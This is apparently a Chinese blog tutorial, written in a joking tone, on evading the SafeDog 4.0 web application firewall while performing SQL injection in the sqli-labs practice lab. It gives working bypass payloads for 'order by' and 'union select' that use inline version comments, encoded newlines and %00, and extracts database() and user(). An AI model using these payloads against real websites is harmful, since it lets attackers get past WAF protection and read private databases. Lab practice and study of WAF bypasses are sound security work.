前言
sql注入是top10大漏洞之一,且最近几年有直追top 1的趋势,也是我们日常遇到的最多的漏洞之一,危害性很大。
初探打狗棍法
这里搭建的环境是php+apache+sqli-lab
最新版的4.0安全狗
第一关
输入一个单引号’报错
报错语句:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 |
通过报错语句可以初步判断为字符型注入
尝试闭合
1’ –+- 返回成功,说明成功闭合语句
order by 绕过
尝试查询字段
1 | 1' order by 1 --+- |
提交,狗出来了,这时候就需要祭出打狗棍法了!!!,此棍法无狗不出。
尝试空格替换成/**/, 被咬真疼!!
尝试内联注释:
1 | /*!50000order*//*!50000by*/ 这狗牙齿有点锋利,被咬了 |
放绝招了:
1 | 1'--+-a%0aorder--+-a%0aby--+-a%0a1--+- |
哎呀和,又被咬了,杠上了杠上了
那就给你整复杂一点,让你咬不动
1 | 1' order/*|--|*/--+aaaa%20%0a/*!10044by*//**/3--+- |
我就问你一句老弟你懵不懵?
懵了懵了!!!!!
成功干翻狗子
union select 绕过
不断尝试,不断被咬
杠上了!杠上了!
终于配合%00让狗子看懵了
1 | '/*|--|*//*!10044UnIon*//*%00*/--+aaaa%20%0a/*!10044SeLECT*//**/11111,2222,3333--+- |
狗子表示很懵逼,这啥玩意啊?
绕过敏感函数
1 | -1'/*|--|*//*!10044UnIon*//*%00*/--+aaaa%20%0a/*!10044SeLECT*//**/1111,database/*!10044(*/),user/*!10044(*/)--+-\ |
狗子表示看不懂看不懂